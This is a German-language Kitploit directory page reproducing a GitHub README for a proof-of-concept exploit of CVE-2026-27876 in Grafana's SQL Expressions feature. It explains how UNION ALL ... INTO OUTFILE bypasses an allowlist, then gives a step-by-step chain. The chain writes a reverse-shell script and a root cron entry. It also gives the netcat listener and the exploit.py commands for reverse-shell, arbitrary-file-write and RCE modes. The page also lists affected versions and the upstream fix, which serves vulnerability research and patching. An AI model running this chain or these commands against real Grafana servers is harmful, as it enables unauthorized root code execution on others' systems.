Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/atiilla/cve-2026-27876
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubatiilla/cve-2026-27876

CVE-2026-27876

Grafana SQL-Ausdrücke: Beliebiger Datei-Schreibzugriff zu RCE

Repository anzeigen
vor 0 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27876: Grafana SQL Expressions Beliebiger Datei-Schreibzugriff zu RCE

CVSS 9.1 Kritisch | Beliebiger Datei-Schreibzugriff | Remote Code Execution

Demo

https://github.com/user-attachments/assets/c84a4b63-7928-4dba-a069-3bafa036ce56

Zusammenfassung

Die SQL-Expressions-Funktion von Grafana (sqlExpressions-Umschalter) verwendet eine In-Process-SQL-Engine (dolthub/go-mysql-server) mit einer fehlerhaften AST-Allowlist. Der SetOp-Knoten (UNION ALL) besteht die Validierung, und seine walkSubtree()-Methode durchläuft das Into-Kind nicht – wodurch INTO OUTFILE beliebige Dateien als Benutzer des Grafana-Prozesses auf das Server-Dateisystem schreiben kann.

Jeder authentifizierte Benutzer (Viewer-Rolle oder höher) kann dies über eine cron-basierte Reverse Shell zu vollständiger RCE verketten.

Betroffene Versionen

BereichBetroffenBehoben
11.6.x11.6.0 – 11.6.1311.6.14
12.0.x – 12.1.x12.0.0 – 12.1.912.1.10
12.2.x12.2.0 – 12.2.712.2.8
12.3.x12.3.0 – 12.3.512.3.6
12.4.x12.4.0 – 12.4.112.4.2

Erfordert, dass der sqlExpressions-Funktionsumschalter aktiviert ist.

Grundursache

Zwei sich verstärkende Fehler in pkg/expr/sql/:

  1. parser_allow.go: allowedNode() verwendet einen benannten Rückgabewert b = true. Der Fall *sqlparser.SetOp gibt true (erlaubt) zurück, und SetOp.walkSubtree() durchläuft den Into-Kindknoten NICHT. Das bedeutet, dass UNION ALL ... INTO OUTFILE die Allowlist vollständig umgeht.

  2. db.go: Der SQL-Engine-Kontext wird ohne WithDisableFileWrites(true) erstellt, sodass INTO OUTFILE auf die Festplatte schreibt.

Bypass-Syntax

root@kitploit:~
(SELECT 'line1') UNION ALL (SELECT 'line2') INTO OUTFILE '/target/path'

Ein einzelnes (SELECT ...) INTO OUTFILE erzeugt einen ParenSelect-Knoten, der blockiert wird. Zwei oder mehr SELECT-Teile, die mit UNION ALL verbunden sind, erzeugen einen SetOp-Knoten, der die Prüfung umgeht.

Exploit-Kette

root@kitploit:~
1. Authentifizieren (Viewer-Rolle ausreichend)
2. POST /api/ds/query mit __expr__-Datenquelle, Typ "sql"
3. UNION ALL INTO OUTFILE schreibt Reverse-Shell-Skript nach /tmp/
4. Zweiter Schreibvorgang platziert Cron-Eintrag in /etc/crontabs/root
5. Cron feuert innerhalb von 60 Sekunden -> Reverse Shell als root

Verwendung

Labor-Einrichtung

root@kitploit:~
cd lab/
docker compose up -d
# Warten, bis Grafana gesund ist (~15s)

Grafana läuft auf http://localhost:3333 mit den Anmeldedaten admin:admin.

Exploit ausführen

Terminal 1 – Listener:

root@kitploit:~
nc -lvnp 4444

Terminal 2 – Exploit:

root@kitploit:~
cd poc/
python3 exploit.py -t http://localhost:3333 --revshell --lhost 172.28.0.1 --lport 4444

Die Reverse Shell landet innerhalb von 60 Sekunden.

Andere Modi

root@kitploit:~
# Prüfen, ob das Ziel verwundbar ist (keine Schreibvorgänge)
python3 exploit.py -t http://TARGET:3000 --check

# Beliebige Datei schreiben
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-content "hello"

# Lokale Datei auf das Ziel schreiben
python3 exploit.py -t http://TARGET:3000 --write-path /tmp/test.txt --write-file ./local.txt

# RCE über Datenquellen-Bereitstellung (kein cron erforderlich)
python3 exploit.py -t http://TARGET:3000 --rce

Bereinigung

root@kitploit:~
docker exec grafana-cve-2026-27876 rm -f /etc/crontabs/root /tmp/.grafana_rce_*.sh

Um den Exploit nach einem vorherigen Lauf erneut auszuführen, muss zuerst bereinigt werden – INTO OUTFILE kann vorhandene Dateien nicht überschreiben.

Fix

Commit 0e5d9e01ef31f072fd41626cd744699374e70127 (PR #121514):

  1. parser_allow.go: case *sqlparser.SetOp: return v.GetInto() == nil
  2. parser_allow.go: case *sqlparser.Into: return v == nil
  3. db.go: mysql.WithDisableFileWrites(true)

Dateien

root@kitploit:~
.
├── README.md
├── analysis.md              # Vollständige Grundursachenanalyse
├── lab/
│   ├── docker-compose.yml   # Grafana 12.4.0-Labor (bestätigt)
│   ├── Dockerfile           # Benutzerdefiniertes Image mit cron-Unterstützung
│   ├── entrypoint.sh        # Startet crond + Grafana
│   └── setup.sh             # Auto-Setup-Skript
└── poc/
    ├── exploit.py           # Vollständiger PoC mit RCE
    └── cvss-justification.md

Referenzen

  • Fix: https://github.com/grafana/grafana/commit/0e5d9e01ef31f072fd41626cd744699374e70127
  • PR: https://github.com/grafana/grafana/pull/121514
  • Advisory: https://grafana.com/security/security-advisories/cve-2026-27876/

Haftungsausschluss

Nur für autorisierte Sicherheitsforschung und kontrollierte Labortests. Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden.

Tool herunterladen